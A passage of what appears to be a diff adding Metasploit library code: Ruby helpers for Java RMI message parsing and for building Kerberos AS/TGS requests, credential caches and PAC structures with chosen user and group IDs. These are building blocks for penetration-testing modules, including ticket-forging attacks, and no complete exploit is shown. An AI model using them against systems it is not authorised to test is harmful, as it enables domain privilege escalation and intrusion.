end_point_block_data = return_value.value[values_size - 2]
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
return nil
end
return_io = StringIO.new(end_point_block_data.contents, 'rb')
reference = extract_reference(return_io)
reference
end
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
# the list of names registered.
#
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
# @return [Array, NilClass] The list of names registered if success, nil otherwise
def parse_registry_list(return_value)
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
return nil
end
unless return_value.value[0].type == 'java.lang.String;'
return nil
end
return_value.value[0].values.collect { |val| val.contents }
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,142 @@
# -*- coding: binary -*-
require 'rex/java/serialization'
require 'rex/text'
module Msf
class Exploit
class Remote
module Java
module Rmi
module Util
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
#
# @param signature [String] The remote method signature as specified by the JDK 1.2,
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
# @return [Fixnum] The method hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
def calculate_method_hash(signature)
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
sha1 = Rex::Text.sha1_raw(utf.encode)
sha1.unpack('Q<')[0]
end
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
#
# @param methods [Array] set of method names and their descriptors
# @return [Fixnum] The interface hash
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
def calculate_interface_hash(methods)
stream = ''
stream << [1].pack('N') # stub version number
methods.each do |m|
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor])
stream << utf_method.encode
stream << utf_descriptor.encode
m[:exceptions].each do |e|
utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e)
stream << utf_exception.encode
end
end
sha1 = Rex::Text.sha1_raw(stream)
sha1.unpack('Q<')[0]
end
# Extracts an string from an IO
#
# @param io [IO] the io to extract the string from
# @return [String, nil] the extracted string if success, nil otherwise
def extract_string(io)
raw_length = io.read(2)
unless raw_length && raw_length.length == 2
return nil
end
length = raw_length.unpack('s>')[0]
string = io.read(length)
unless string && string.length == length
return nil
end
string
end
# Extracts an int from an IO
#
# @param io [IO] the io to extract the int from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_int(io)
int_raw = io.read(4)
unless int_raw && int_raw.length == 4
return nil
end
int = int_raw.unpack('l>')[0]
int
end
# Extracts a long from an IO
#
# @param io [IO] the io to extract the long from
# @return [Fixnum, nil] the extracted int if success, nil otherwise
def extract_long(io)
int_raw = io.read(8)
unless int_raw && int_raw.length == 8
return nil
end
int = int_raw.unpack('q>')[0]
int
end
# Extract an RMI interface reference from an IO
#
# @param io [IO] the io to extract the reference from, should contain the data
# inside a BlockData with the reference information.
# @return [Hash, nil] the extracted reference if success, nil otherwise
# @see Msf::Exploit::Remote::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint
# @see Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint
def extract_reference(io)
ref = extract_string(io)
unless ref && ref == 'UnicastRef'
return nil
end
address = extract_string(io)
return nil unless address
port = extract_int(io)
return nil unless port
object_number = extract_long(io)
uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io)
{address: address, port: port, object_number: object_number, uid: uid}
end
# Register ports and services for autofilter support
#
def register_common_rmi_ports_and_services
register_autofilter_ports([
999, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1030, 1035, 1199, 1234, 1440, 3273, 3333, 3900,
2199, 2809, 5520, 5580, 5521, 5999, 6060, 6789, 6996, 7700, 7800, 7878, 7890, 7801, 8050, 8051, 8085,
8091, 8205, 8303, 8642, 8701, 8686, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005,
9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999,
10001, 10162, 10098, 10099, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000,
17200, 18980, 20000, 23791, 26256, 31099, 33000, 32913, 37718, 45230, 47001, 47002, 50050, 50500,
50501, 50502, 50503, 50504
])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
end
end
end
end
end
end
end

View File

@ -0,0 +1,143 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
require 'msf/core/exploit/kerberos/client/base'
require 'msf/core/exploit/kerberos/client/as_request'
require 'msf/core/exploit/kerberos/client/as_response'
require 'msf/core/exploit/kerberos/client/tgs_request'
require 'msf/core/exploit/kerberos/client/tgs_response'
require 'msf/core/exploit/kerberos/client/pac'
require 'msf/core/exploit/kerberos/client/cache_credential'
include Msf::Exploit::Remote::Kerberos::Client::Base
include Msf::Exploit::Remote::Kerberos::Client::AsRequest
include Msf::Exploit::Remote::Kerberos::Client::AsResponse
include Msf::Exploit::Remote::Kerberos::Client::TgsRequest
include Msf::Exploit::Remote::Kerberos::Client::TgsResponse
include Msf::Exploit::Remote::Kerberos::Client::Pac
include Msf::Exploit::Remote::Kerberos::Client::CacheCredential
# @!attribute client
# @return [Rex::Proto::Kerberos::Client] The kerberos client
attr_accessor :client
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(88),
OptInt.new('Timeout', [true, 'The TCP timeout to establish connection and read data', 10])
], self.class
)
end
# Returns the target host
#
# @return [String]
def rhost
datastore['RHOST']
end
# Returns the remote port
#
# @return [Fixnum]
def rport
datastore['RPORT']
end
# Returns the TCP timeout
#
# @return [Fixnum]
def timeout
datastore['Timeout']
end
# Returns the kdc peer
#
# @return [String]
def peer
"#{rhost}:#{rport}"
end
# Creates a kerberos connection
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :rhost
# @option opts [<String, Fixnum>] :rport
# @return [Rex::Proto::Kerberos::Client]
def connect(opts={})
kerb_client = Rex::Proto::Kerberos::Client.new(
host: opts[:rhost] || rhost,
port: (opts[:rport] || rport).to_i,
timeout: (opts[:timeout] || timeout).to_i,
context:
{
'Msf' => framework,
'MsfExploit' => self,
},
protocol: 'tcp'
)
disconnect if client
self.client = kerb_client
kerb_client
end
# Disconnects the Kerberos client
#
# @param kerb_client [Rex::Proto::Kerberos::Client] the client to disconnect
def disconnect(kerb_client = client)
kerb_client.close if kerb_client
if kerb_client == client
self.client = nil
end
end
# Performs cleanup as necessary, disconnecting the Kerberos client
# if it's still established.
def cleanup
super
disconnect
end
# Sends a kerberos AS request and reads the response
#
# @param opts [Hash]
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
# @see Msf::Kerberos::Client::AsRequest#build_as_request
# @see Rex::Proto::Kerberos::Model::KdcResponse
def send_request_as(opts = {})
connect(opts)
req = build_as_request(opts)
res = client.send_recv(req)
disconnect
res
end
# Sends a kerberos AS request and reads the response
#
# @param opts [Hash]
# @return [Rex::Proto::Kerberos::Model::KdcResponse]
# @see Msf::Kerberos::Client::TgsRequest#build_tgs_request
# @see Rex::Proto::Kerberos::Model::KdcResponse
def send_request_tgs(opts = {})
connect(opts)
req = build_tgs_request(opts)
res = client.send_recv(req)
disconnect
res
end
end
end
end
end
end

View File

@ -0,0 +1,114 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
module AsRequest
# Builds a kerberos AS request
#
# @param opts [Hash{Symbol => <Array<Rex::Proto::Kerberos::Model::PreAuthData>, Rex::Proto::Kerberos::Model::KdcRequestBody>}]
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
# @see [Rex::Proto::Kerberos::Model::KdcRequest]
# @see #build_as_pa_time_stamp
# @see #build_as_request_body
def build_as_request(opts = {})
pa_data = opts[:pa_data] || build_as_pa_time_stamp(opts)
body = opts[:body] || build_as_request_body(opts)
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
pvno: 5,
msg_type: Rex::Proto::Kerberos::Model::AS_REQ,
pa_data: pa_data,
req_body: body
)
request
end
# Builds a kerberos PA-ENC-TIMESTAMP pre authenticated structure
#
# @param opts [Hash{Symbol => <Time, Fixnum, String>}]
# @option opts [Time] :time_stamp
# @option opts [Fixnum] :pausec
# @option opts [Fixnum] :etype
# @option opts [String] :key
# @return [Rex::Proto::Kerberos::Model::PreAuthData]
# @see Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::PreAuthData
def build_as_pa_time_stamp(opts = {})
time_stamp = opts[:time_stamp] || Time.now
pausec = opts[:pausec] || 0
etype = opts[:etype] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
key = opts[:key] || ''
pa_time_stamp = Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp.new(
pa_time_stamp: time_stamp,
pausec: pausec
)
enc_time_stamp = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: etype,
cipher: pa_time_stamp.encrypt(etype, key)
)
pa_enc_time_stamp = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_ENC_TIMESTAMP,
value: enc_time_stamp.encode
)
pa_enc_time_stamp
end
# Builds a kerberos AS request body
#
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName>}]
# @option opts [Fixnum] :options
# @option opts [Time] :from
# @option opts [Time] :till
# @option opts [Time] :rtime
# @option opts [Fixnum] :nonce
# @option opts [Fixnum] :etype
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
# @see #build_client_name
# @see #build_server_name
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
def build_as_request_body(opts = {})
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts)
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
options: options,
cname: cname,
realm: realm,
sname: sname,
from: from,
till: till,
rtime: rtime,
nonce: nonce,
etype: etype
)
body
end
end
end
end
end
end
end

View File

@ -0,0 +1,49 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
module AsResponse
# Extracts the session key from a Kerberos AS Response
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @see Rex::Proto::Kerberos::Model::KdcResponse
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def extract_session_key(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
enc_kdc_res.key
end
# Extracts the logon time from a Kerberos AS Response
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Fixnum]
# @see Rex::Proto::Kerberos::Model::KdcResponse
# @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
def extract_logon_time(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE)
enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
auth_time = enc_kdc_res.auth_time
auth_time.to_i
end
end
end
end
end
end
end

View File

@ -0,0 +1,48 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module Kerberos
module Client
module Base
# Builds a kerberos Client Name Principal
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :client_name the client's name
# @option opts [Fixnum] :client_type the client's name type
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
# @see Rex::Proto::Kerberos::Model::PrincipalName
def build_client_name(opts = {})
name = opts[:client_name] || ''
name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: name_type,
name_string: name.split('/')
)
end
# Builds a kerberos Server Name Principal
#
# @param opts [Hash{Symbol => <String, Fixnum>}]
# @option opts [String] :server_name the server's name
# @option opts [Fixnum] :server_type the server's name type
# @return [Rex::Proto::Kerberos::Model::PrincipalName]
# @see Rex::Proto::Kerberos::Model::PrincipalName
def build_server_name(opts = {})
name = opts[:server_name] || ''
name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL
Rex::Proto::Kerberos::Model::PrincipalName.new(
name_type: name_type,
name_string: name.split('/')
)
end
end
end
end
end
end
end

View File

@ -0,0 +1,152 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
module CacheCredential
# Builds a MIT Credential Cache
#
# @param opts [Hash{Symbol => <Fixnum, Array<String>, Rex::Proto::Kerberos::CredentialCache::Principal, Array<Rex::Proto::Kerberos::CredentialCache::Credential>>}]
# @option opts [Fixnum] :version
# @option opts [Array<String>] :headers
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal
# @option opts [Array<Rex::Proto::Kerberos::CredentialCache::Credential>] :credentials
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
# @see Rex::Proto::Kerberos::CredentialCache::Cache
def create_cache(opts = {})
version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION
headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER]
primary_principal = opts[:primary_principal] || create_cache_principal(opts)
credentials = opts[:credentials] || [create_cache_credential(opts)]
cache = Rex::Proto::Kerberos::CredentialCache::Cache.new(
version: version,
headers: headers,
primary_principal: primary_principal,
credentials: credentials
)
cache
end
# Builds a MIT Credential Cache principal
#
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
# @option opts [Fixnum] :name_type
# @option opts [String] :realm
# @option opts [Array<String>] :components
# @return [Rex::Proto::Kerberos::CredentialCache::Principal]
# @see Rex::Proto::Kerberos::CredentialCache::Principal
def create_cache_principal(opts = {})
name_type = opts[:name_type] || 0
realm = opts[:realm] || ''
components = opts[:components] || ['']
principal = Rex::Proto::Kerberos::CredentialCache::Principal.new(
name_type: name_type,
realm: realm,
components:components
)
principal
end
# Builds a MIT Credential Cache key block
#
# @param opts [Hash<{Symbol => <Fixnum, String>}>]
# @option opts [Fixnum] :key_type
# @option opts [Fixnum] :e_type
# @option opts [String] :key_value
# @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock]
# @see Rex::Proto::Kerberos::CredentialCache::KeyBlock
def create_cache_key_block(opts = {})
key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
e_type = opts[:e_type] || 0
key_value = opts[:key_value] || ''
key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new(
key_type: key_type,
e_type: e_type,
key_value: key_value
)
key_block
end
# Builds a times structure linked to a credential in a MIT Credential Cache
#
# @param opts [Hash<{Symbol => Fixnum}>]
# @option opts [Fixnum] auth_time
# @option opts [Fixnum] start_time
# @option opts [Fixnum] end_time
# @option opts [Fixnum] renew_till
# @return [Rex::Proto::Kerberos::CredentialCache::Time]
# @see Rex::Proto::Kerberos::CredentialCache::Time
def create_cache_times(opts = {})
auth_time = opts[:auth_time] || 0
start_time = opts[:start_time] || 0
end_time = opts[:end_time] || 0
renew_till = opts[:renew_till] || 0
time = Rex::Proto::Kerberos::CredentialCache::Time.new(
auth_time: auth_time.to_i,
start_time: start_time.to_i,
end_time: end_time.to_i,
renew_till: renew_till.to_i
)
time
end
# Builds a MIT Credential Cache credential
#
# @param opts [Hash<{Symbol => <>}>]
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client
# @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server
# @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key
# @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time
# @option opts [Fixnum] is_key
# @option opts [Fixnum] flags
# @option opts [Array] addrs
# @option opts [Array] auth_data
# @option opts [String] ticket
# @option opts [String] second_ticket
# @return [Rex::Proto::Kerberos::CredentialCache::Credential]
# @see Rex::Proto::Kerberos::CredentialCache::Credential
def create_cache_credential(opts = {})
client = opts[:client] || create_cache_principal(opts)
server = opts[:server] || create_cache_principal(opts)
key = opts[:key] || create_cache_key_block(opts)
time = opts[:time] || create_cache_times(opts)
is_skey = opts[:is_skey] || 0
tkt_flags = opts[:flags] || 0
addrs = opts[:addrs] || []
auth_data = opts[:auth_data] || []
ticket = opts[:ticket] || ''
second_ticket = opts[:second_ticket] || ''
cred = Rex::Proto::Kerberos::CredentialCache::Credential.new(
client: client,
server: server,
key: key,
time: time,
is_skey: is_skey,
tkt_flags:tkt_flags,
addrs: addrs,
auth_data: auth_data,
ticket: ticket,
second_ticket: second_ticket
)
cred
end
end
end
end
end
end
end

View File

@ -0,0 +1,114 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
module Pac
# Builds a kerberos PA-PAC-REQUEST pre authenticated structure
#
# @param opts [Hash{Symbol => Boolean}]
# @option opts [Boolean] :pac_request_value
# @return [Rex::Proto::Kerberos::Model::Field::PreAuthData]
# @see Rex::Proto::Kerberos::Model::PreAuthPacRequest
# @see Rex::Proto::Kerberos::Model::PreAuthData
def build_pa_pac_request(opts = {})
value = opts[:pac_request_value] || false
pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value)
pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST,
value: pac_request.encode
)
pa_pac_request
end
# Builds a kerberos PACTYPE structure
#
# @param opts [Hash{Symbol => <String, Fixnum, Array, Time>}]
# @option opts [String] :client_name
# @option opts [Fixnum] :user_id the user SID Ex: 1000
# @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users'
# @option opts [Array<Fixnum>] :group_ids
# @option opts [String] :realm
# @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962
# @option opts [Time] :logon_time
# @return [Rex::Proto::Kerberos::Pac::Type]
# @see Rex::Proto::Kerberos::Pac::LogonInfo
# @see Rex::Proto::Kerberos::Pac::ClientInfo
# @see Rex::Proto::Kerberos::Pac::ServerChecksum
# @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum
# @see Rex::Proto::Kerberos::Pac::Type
def build_pac(opts = {})
user_name = opts[:client_name] || ''
user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID
primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS
group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS]
domain_name = opts[:realm] || ''
domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID
logon_time = opts[:logon_time] || Time.now
checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5
logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new(
logon_time: logon_time,
effective_name: user_name,
user_id: user_id,
primary_group_id: primary_group_id,
group_ids: group_ids,
logon_domain_name: domain_name,
logon_domain_id: domain_id,
)
client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new(
client_id: logon_time,
name: user_name
)
server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new(
checksum: checksum_type
)
priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new(
checksum: checksum_type
)
pac_type = Rex::Proto::Kerberos::Pac::Type.new(
buffers: [
logon_info,
client_info,
server_checksum,
priv_srv_checksum
],
checksum: checksum_type
)
pac_type
end
# Builds an kerberos AuthorizationData structure containing a PACTYPE
#
# @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}]
# @option opts [Rex::Proto::Kerberos::Pac::Type] :pac
# @return [Rex::Proto::Kerberos::Model::AuthorizationData]
# @see Rex::Proto::Kerberos::Model::AuthorizationData
def build_pac_authorization_data(opts = {})
pac = opts[:pac] || build_pac(opts)
pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}]
)
authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new(
elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}]
)
authorization_data
end
end
end
end
end
end
end

View File

@ -0,0 +1,277 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
class Exploit
class Remote
module Kerberos
module Client
module TgsRequest
# Builds the encrypted Kerberos TGS request
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::Element>}]
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
# @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator
# @option opts [Array<Rex::Proto::Kerberos::Model::PreAuthData>] :pa_data
# @return [Rex::Proto::Kerberos::Model::KdcRequest]
# @raise [RuntimeError] if ticket isn't available
# @see Rex::Proto::Kerberos::Model::AuthorizationData
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::Checksum
# @see Rex::Proto::Kerberos::Model::Authenticator
# @see Rex::Proto::Kerberos::Model::PreAuthData
# @see Rex::Proto::Kerberos::Model::KdcRequest
def build_tgs_request(opts = {})
subkey = opts[:subkey] || build_subkey(opts)
if opts[:enc_auth_data]
enc_auth_data = opts[:enc_auth_data]
elsif opts[:auth_data]
enc_auth_data = build_enc_auth_data(
auth_data: opts[:auth_data],
subkey: subkey
)
else
enc_auth_data = nil
end
body = build_tgs_request_body(opts.merge(
enc_auth_data: enc_auth_data
))
checksum = opts[:checksum] || build_tgs_body_checksum(:body => body)
if opts[:auhtenticator]
authenticator = opts[:authenticator]
else
authenticator = build_authenticator(opts.merge(
subkey: subkey,
checksum: checksum
))
end
if opts[:ap_req]
ap_req = opts[:ap_req]
else
ap_req = build_ap_req(opts.merge(:authenticator => authenticator))
end
pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new(
type: Rex::Proto::Kerberos::Model::PA_TGS_REQ,
value: ap_req.encode
)
pa_data = []
pa_data.push(pa_ap_req)
if opts[:pa_data]
opts[:pa_data].each { |pa| pa_data.push(pa) }
end
request = Rex::Proto::Kerberos::Model::KdcRequest.new(
pvno: 5,
msg_type: Rex::Proto::Kerberos::Model::TGS_REQ,
pa_data: pa_data,
req_body: body
)
request
end
# Builds the encrypted TGS authorization data
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
# @raise [RuntimeError] if auth_data option isn't provided
# @see Rex::Proto::Kerberos::Model::AuthorizationData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::EncryptedData
def build_enc_auth_data(opts = {})
auth_data = opts[:auth_data]
if auth_data.nil?
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
end
subkey = opts[:subkey] || build_subkey(opts)
encrypted = auth_data.encrypt(subkey.type, subkey.value)
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: subkey.type,
cipher: encrypted
)
e_data
end
# Builds a KRB_AP_REQ message
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Fixnum] :pvno
# @option opts [Fixnum] :msg_type
# @option opts [Fixnum] :ap_req_options
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @raise [RuntimeError] if ticket option isn't provided
# @see Rex::Proto::Kerberos::Model::Ticket
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def build_ap_req(opts = {})
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
options = opts[:ap_req_options] || 0
ticket = opts[:ticket]
authenticator = opts[:authenticator] || build_authenticator(opts)
session_key = opts[:session_key] || build_subkey(opts)
if ticket.nil?
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
end
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: session_key.type,
cipher: authenticator.encrypt(session_key.type, session_key.value)
)
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
pvno: pvno,
msg_type: msg_type,
options: options,
ticket: ticket,
authenticator: enc_authenticator
)
ap_req
end
# Builds a kerberos authenticator for a TGS request
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Time] :ctime
# @option opts [Fixnum] :cusec
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @return [Rex::Proto::Kerberos::Model::Authenticator]
# @see Rex::Proto::Kerberos::Model::PrincipalName
# @see Rex::Proto::Kerberos::Model::Checksum
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::Authenticator
def build_authenticator(opts = {})
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
ctime = opts[:ctime] || Time.now
cusec = opts[:cusec] || ctime.usec
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
subkey = opts[:subkey] || build_subkey(opts)
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
vno: 5,
crealm: realm,
cname: cname,
checksum: checksum,
cusec: cusec,
ctime: ctime,
subkey: subkey
)
authenticator
end
# Builds an encryption key to protect the data sent in the TGS request.
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :subkey_type
# @option opts [String] :subkey_value
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def build_subkey(opts={})
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: subkey_type,
value: subkey_value
)
subkey
end
# Builds a kerberos TGS request body
#
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
# @option opts [Fixnum] :options
# @option opts [Time] :from
# @option opts [Time] :till
# @option opts [Time] :rtime
# @option opts [Fixnum] :nonce
# @option opts [Fixnum] :etype
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
# @see Rex::Proto::Kerberos::Model::PrincipalName
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
def build_tgs_request_body(opts = {})
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts)
enc_auth_data = opts[:enc_auth_data] || nil
